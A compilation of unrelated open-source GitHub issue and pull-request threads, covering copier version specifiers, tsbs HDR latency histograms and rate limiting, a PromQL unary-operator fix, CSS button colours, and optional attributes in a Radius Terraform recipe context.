Similar to Terraform, allow the user to specify a version specifier, like 3.x or 3.2.x.  This could be stored in the answers file alongside the _commit value.  So _version_spec could be v3.x and _commit could be v3.1.2.  If I release a new template version as v3.2, then the next time the user runs copier update, copier will know it can upgrade to v3.2 since the user said they wanted any version that starts with 3 MAJOR version number.  If I release a breaking change as v4.0.0, then the next time the user runs copier update, nothing will happen since v4.0.0 doesn't match the user's request version spec of v3.x.  However, copier update could let the user know that a newer version exists.  The user could then run copier update --version-spec v4.x which tells copier to allow the upgrade to v4.0.0 and to update the answers file with the new _version_spec value for the next copier update.

The feature itself makes sense, however I'm more in the side of automating stuff.
ATM you have the _migrations option that let you trigger some commands before and after migrating the project to a certain template version. My option has always been to use that to automate migration to higher versions when something wasn't fully backwards-compatible. You could do the same, or you could open some interactive workflow for your specific stuff.
That wouldn't force the user to migrate to a bigger major version only by demand, but would help them having a successful update.
Would that be enough for your use case?

I don't think so.  I think it would really be better to allow the user to specify some kind of version spec to control more the upgrades.  Of course, this is just my opinion.  Maybe others can comment.

I'm tempted to say: sure, why not have the same control over updates as with regular PEP440 specifiers?
_accept_template_versions: ~=3.2

fwiw I don't like the idea of handwriting that stuff in the answers file, because that violates the purpose of those # File generated by copier; DO NOT EDIT MANUALLY comments that are very helpful.
I think that the cleanest implementation would be to add some extra commands to the CLI/API:

copier update-major
copier update-minor
copier update-patch

However that would kill the purpose of using PEP 440 which is not limited to major.minor.patch as semver. Maybe something like copier update-compatible 2 which asks for 2 sections compatibility (== minor)? Maybe both, making the 1st 3 ones aliases to the latest one? Maybe a flag in copier update? 🤔

Agreed. I wasn’t suggesting the user edit the answers file, but to use a new switch on the copier update Command like —version-spec or something similar.
But I am not too picky on how it is implemented, just as long as the gesture exists. :)

Maybe we can just reuse the --vcs-ref option and add support for PEP440 specifiers there.

Possibly, but I think the answers file needs to record both the actual version used for the last update and the version specified desired by the user. So if the next time the user wants to update, he can just say copier update without anything else and it will do the right thing. If you make the user always have to specify a vcs-ref during an update, I don’t think it will be good enough as now the user has to remember what version specifier he wants every time.

Well, then it must be recorded indeed, but it must be copier who writes it to the answers file, so we need a flag.

Hi @scastria ,
I am also working on the same use case.
@yajo  Do we have any solution now for this issue ?

Sorry, not for now.
The implementation is:

One new CLI flag: --version-subscription with its corresponding API arg
If passed, check it's a valid PEP 440 specifier.
Store it in copier answers file under a new key:  _version_subscription
when running copies update, filter incoming tags with it to findthe desired release.

However nobody volunteered yet to implement it.


enable full percentile spectrum analysis on latency. enable maintaining fixed rps during query benchmarks

Full percentile spectrum analysis
This PR enable full percentile spectrum analysis on query latency so that we can fully understand the performance and stability characteristics of the system we are measuring.
Right now tsbs is displaying single values targets like the quantile 50, average, min and max.
Considering that latency does not obey to a normal distribution we should enable ourselfs to do full percentile spectrum analysis. Just looking at a number might be misleading.
A useful visualization for pointing out the folly of chasing a mean measurement is illustrated below - they have nearly identical simple descriptive statistics, yet have very different distributions and appear very different when graphed.

Source: https://en.wikipedia.org/wiki/Anscombe's_quartet

Sustainable Throughput:
With that in mind, and to really understand a system behavior we also cant relly solely on doing the full percentile analysis while stressing the system to it's maximum RPS. We need to be able to compare the behavior under different throughputs and/or configurations, to be able to get the best "Sustainable Throughput: The throughput achieved while safely maintaining service levels.
Adding a further reading slide that will help you understand why this is so important:
https://www.azul.com/files/HowNotToMeasureLatency_LLSummit_NYC_12Nov2013.pdf

Enabling full percentile spectrum and Sustainable Throughput analysis on tsbs:
The previous features can be applied with the changes added on this PR using the following flags on the tsbs_run_queries_* binaries:
- --hdr-latencies : enable writing the High Dynamic Range (HDR) Histogram of Response Latencies to the file with the name specified by this. By default no file will be saved.
- --max-rps : enable limiting the rate of queries per second, 0 = no limit. By default no limit is specified and the binaries will behave in the same manner as before.
quick example of the beneficts of this addition
Take into consideration that the presented values were obtained to illustrate the added features and not to compared the used systems. This was a local test that should not be used for any other thing rather than to exemplify the new way of assessing stability and performance across the entire latency spectrum when using HDR histograms and rate-limiting.
Step 1 - Setup
Running two example docker containers from clickhouse and  timescale in the following manner:
docker run -d -p 9000:9000 --ulimit nofile=262144:262144 yandex/clickhouse-server
docker run -d -e POSTGRES_PASSWORD=password -p 5432:5432 timescale/timescaledb

Step 2 - Retrieve sample values
Running two example docker containers from clickhouse and  timescale in the following manner:
MAX_QUERIES=1000 MAX_RPS=100 ./scripts/full_cycle_minitest_clickhouse.sh
MAX_QUERIES=1000 MAX_RPS=100 PASSWORD="password" ./scripts/full_cycle_minitest_timescaledb.sh

Sample output ( please denote the added Interval query rate and Overall query rate values
(...)
After 100 queries with 1 workers:
Interval query rate: 99.74 queries/sec  Overall query rate: 99.74 queries/sec
ClickHouse CPU over threshold, 1 host(s):
min:     6.03ms, med:     7.36ms, mean:     7.59ms, max:   11.82ms, stddev:     1.12ms, sum:   0.8sec, count: 100
all queries                             :
min:     6.03ms, med:     7.36ms, mean:     7.59ms, max:   11.82ms, stddev:     1.12ms, sum:   0.8sec, count: 100
(...)

Final Query benchmark output ( please denote the info regarding in which file the HDR latency file was saved
(...)
Run complete after 1000 queries with 1 workers (Overall query rate 98.42 queries/sec):
ClickHouse CPU over threshold, 1 host(s):
min:     5.78ms, med:     7.52ms, mean:     7.90ms, max:  111.44ms, stddev:     3.54ms, sum:   7.9sec, count: 1000
all queries                             :
min:     5.78ms, med:     7.52ms, mean:     7.90ms, max:  111.44ms, stddev:     3.54ms, sum:   7.9sec, count: 1000
Saving High Dynamic Range (HDR) Histogram of Response Latencies to 100rps_clickhouse_query_high-cpu-1.hdr
wall clock time: 10.178806sec

Step 3 - Use HdrHistogram Plotter
Using the two first output files from the simple full cycle mini tests we can plot the Latency by Percentile Distribution using http://hdrhistogram.github.io/HdrHistogram/plotFiles.html

100rps_clickhouse_query_high-cpu-1.txt
100rps_timescaledb_query_high-cpu-1.txt
100rps_clickhouse_query_cpu-max-all-1.txt
100rps_timescaledb_query_cpu-max-all-1.txt

Which will enable us to get the "full picture" of latency distribution. If we only analyzed the P99 latency we would be tempted to state that clickhouse had better values. However, if you look and the second image you see that on overall  the stability of timescale is greater. Take into consideration that obtained values are only for illustration purposes and to justify that single values targets can lead us to the wrong conclusions.

credits
HdrHistogram was originally authored by Gil Tene (@giltene) and placed in the public domain, as explained at http://creativecommons.org/publicdomain/zero/1.0/, with ports by Mike Barker (@mikeb01) (C), Matt Warren (@mattwarren) (C#), Darach Ennis (@darach) (Erlang), Alec Hothan (@ahothan) (Python), Coda Hale (@codahale) (Go) (which i needed to revamp), Jon Gjengset (@jonhoo) (Rust), and Alexandre Victoor (@alexvictoor) (JavaScript)

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

At first glance this PR looks awesome @filipecosta90 ! I assigned myself and two others to help review it, but totally agree with the thoughts you put forward about being able to analyze the whole sequence of values. Thanks for doing this!

Looks ok, I have just a few small requests for comments and a bit of a reorg for the latencyFile arg

@blagojts can you please revise the latest changes

Codecov Report

Merging #101 into master will decrease coverage by 0.25%.
The diff coverage is 44.06%.

@@            Coverage Diff             @@
##           master     #101      +/-   ##
==========================================
- Coverage   69.42%   69.16%   -0.26%
==========================================
  Files         103      103
  Lines        5720     5721       +1
==========================================
- Hits         3971     3957      -14
- Misses       1674     1688      +14
- Partials       75       76       +1

Impacted Files
Coverage Δ

query/stat_processor.go
15.78% <0%> (-5.95%)
:arrow_down:

query/stats.go
100% <100%> (ø)
:arrow_up:

query/benchmarker.go
72.04% <61.53%> (-2.35%)
:arrow_down:

cmd/tsbs_load_timescaledb/process.go
25.64% <0%> (ø)
:arrow_up:

cmd/tsbs_load_cratedb/processor.go
0% <0%> (ø)
:arrow_up:

cmd/tsbs_load_cratedb/main.go
0% <0%> (ø)
:arrow_up:

cmd/tsbs_load_cratedb/creator.go
21% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f01be8e...af09a12. Read the comment docs.

@RobAtticus considering @blagojts approved it, does it need further changes or are we good to go?

@filipecosta90 Let me take a closer look tomorrow but I think we should be pretty close to getting this in.
One higher level question is what you think the value is of using the HDR histogram library vs just an output as a CSV of the latency measurements that are seen?

@filipecosta90 Let me take a closer look tomorrow but I think we should be pretty close to getting this in.
One higher level question is what you think the value is of using the HDR histogram library vs just an output as a CSV of the latency measurements that are seen?

I think we can benefict from the visualization tools that are in-placed see example and save the histograms in a lossless format that will enable us to merge several ones, keep them for later, compare them on a common tool, etc...

Sorry a few more small things/nits, otherwise looks good!


Merge to Master

Merge to Master

RELEASE NOTE: Added a new machine-learning module that provides APIs for creating, updating, getting, listing, publishing, unpublishing and deleting Firebase ML models.


Avoid white as button-clear text color for .bar-light and .bar-stable

Currently, if you have a header bar with class="bar-stable" (or "bar-light") followed by a "button-clear" button, the text will be #fff. This means that button-clear text will be white on a bar-light or bar-stable bar, and thus unreadable.
This changes _bar.scss .bar-light and .bar-stable .button to @include button-clear a darker text color, currently $bar-light-text and $bar-stable-text respectively.
For consistency, perhaps either all @include button-clear should reference $bar-...-text, or the $fff should be changed to #444444 (or something similar) in _bar.scss

segments also use white when on a light colored toolbar.  Might be a good extension to this.


PromQL: Fix unary operator precedence

Fixes #6575
Signed-off-by: Tobias Guggenmos<EMAIL_ADDRESS>

Can you add some PromQL tests too?

Can you add some PromQL tests too?

In the engine?
I've already added a couple in for the parser.

In the testdata. Weirdness here is more likely to be spotted at the PromQL level.

Ok, I've added some tests there.

Thanks!

/prombench v2.15.2

/prombench cancel


Return value for system() calls is not checked

Currently system() calls are surrounded by try-catch blocks but system() does not throw exceptions.  Instead, the return value of system() calls need to be checked for errors.
Failure to check the return value of the mafft call can cause #6 if the mafft call fails.

DeGenPrime no longer uses recursive calls to align sequences for the user.  The user will have to manually align their sequences using mafft or other software.  We present a warning for unaligned files and end the program.


if no_results not working in exp:freemember:reset_password

Using the sample code from the docs, the "Sorry, the link you clicked does not appear to be valid, or has expired" text is not displaying, using the latest EE and Freemember.

I'm having the same issue. It's causing confusion with my members who are trying to reset their passwords. Any progress on this issue?

Same here. Not having the ability to change your password is a big bummer. Has anyone figured this out?

+1 -- I can't get this to work either

Anyone know a workaround/fix for this?


[Discussion] Optional recipe context attributes in TF module config and Recipe versioning

Problem
In PR radius-project/radius#5999, we support recipe context in Terraform module config. User's recipe TF module should contain the following context variable. We found that TF threw the error if Radius didn't provide one of the attributes in module json config.
variable "context" {
  description = "This variable contains Radius recipe context."

  type = object({
    resource = object({
      name = string
      id = string
      type = string
    })

    application = object({
      name = string
      id = string
    })

    environment = object({
      name = string
      id = string
    })

    runtime = object({
      kubernetes = optional(object({
        namespace = string
        environmentNamespace = string
      }))
    })

    azure = object({
      resourceGroup = object({
        name = string
        id = string
      })
      subscription = object({
        subscriptionId = string
        id = string
      })
    })

    aws = object({
      region = string
      account = string
    })
  })
}

We found attributes \"aws\" and \"azure\"\nare required. error in the functional test because Radius didn't set aws and azure in module config. Terraform provides optional keyword for such optional attributes. In PR radius-project/radius#5999, we add optional keyword to azure and aws objects to address the problem.
Functional test log - https://github.com/project-radius/radius/actions/runs/5774669455/job/15651905021
"code": "Internal",
    cli.go:382: [rad]           "message": "terraform apply failure: exit status 1\n\nError: Invalid value for input variable\n\n  on main.tf.json line 4, in module.default:\n
4:       \"context\": {\n   5:         \"resource\": {\n   6:           \"name\": \"corerp-resources-terraform-context\",\n   7:           \"id\": \"/planes/radius/local/resourcegroups/kind-radius/providers/Applications.Link/extenders/corerp-resources-terraform-context\",\n   8:           \"type\": \"Applications.Link/extenders\"\n   9:         },\n  10:         \"application\": {\n  11:           \"name\": \"corerp-resources-terraform-context\",\n  12:           \"id\": \"/planes/radius/local/resourcegroups/kind-radius/providers/Applications.Core/applications/corerp-resources-terraform-context\"\n
13:         },\n  14:         \"environment\": {\n  15:           \"name\": \"corerp-resources-terraform-context\",\n  16:           \"id\": \"/planes/radius/local/resourcegroups/kind-radius/providers/Applications.Core/environments/corerp-resources-terraform-context\"\n  17:         },\n  18:         \"runtime\": {\n  19:           \"kubernetes\": {\n  20:             \"namespace\": \"corerp-resources-terraform-context-app\",\n  21:             \"environmentNamespace\": \"\"\n
22:           }\n  23:         }\n
24:       },\n\nThe given value is not suitable for module.default.var.context declared at\n.terraform/modules/default/variables.tf:1,1-19: attributes \"aws\" and \"azure\"\nare required.\n"

Possible solutions
Option 1
In PR radius-project/radius#5999 , I added optional keyword to make azure and aws optional. So terraform will ignore the properties.
variable "context" {
  description = "This variable contains Radius recipe context."
  type = object({
    resource = object({
      name = string
      id = string
      type = string
    })

    application = object({
      name = string
      id = string
    })

    environment = object({
      name = string
      id = string
    })

    runtime = object({
      kubernetes = optional(object({
        namespace = string
        environmentNamespace = string
      }))
    })

    azure = optional(object({  # <--- HEREHEREHERE
      resourceGroup = object({
        name = string
        id = string
      })
      subscription = object({
        subscriptionId = string
        id = string
      })
    }))

    aws = optional(object({  # <--- HEREHEREHERE
      region = string
      account = string
    }))
  })
}

Option 2
We don't add any optional keyword to attributes but instead, Radius can pass empty properties like below.
{
    // ... omit attributes ...
    "azure": {
          "resourceGroup": {
                "name": "",
                "id": ""
          }
          "subscription": {
                "subscriptionId": "",
                "id": ""
          }
    }
    "aws": {
          "region": "",
          "account": ""
    }
}

However, this will still cause the same problem when we introduce new attributes in recipe context.
Let's say there are User 1 and User 2.
User 1 uses Radius v0.30.0 and context v2 schema which includes new gcp attribute and publish it to the module repository.
User 2 uses Radius v0.20.0 and context v1 schema which doesn't contain gcp attribute and try to use User 1's module.
And then User 2 will face the same problem because Radius v0.20.0 would not populate gcp.
Other questions

Do we have a plan to introduce the verioning for Recipe Context schema?

AB#8905
AB#9511
AB#10014

triage: need to have more discussion on this and decide on the priority.

But I still don't understand why optional is not realistic because optional is officially supported keyword in TF.

The reason why I mentioned it not being realistic is, because we don't control what users define in their variables.tf file, we can give them guidance to mark azure/aws attributes as optional since they will not be passed if not configured, but we can't enforce this since Radius doesn't have control over it.

TF also has any type, which is free-form style object like bicep template. The only downside is that this is loosely typed variable. I think this option is also good to be consistent with bicep behavior.

This is what we have documented in the recipe authoring page https://docs.radapp.io/guides/recipes/howto-author-recipes/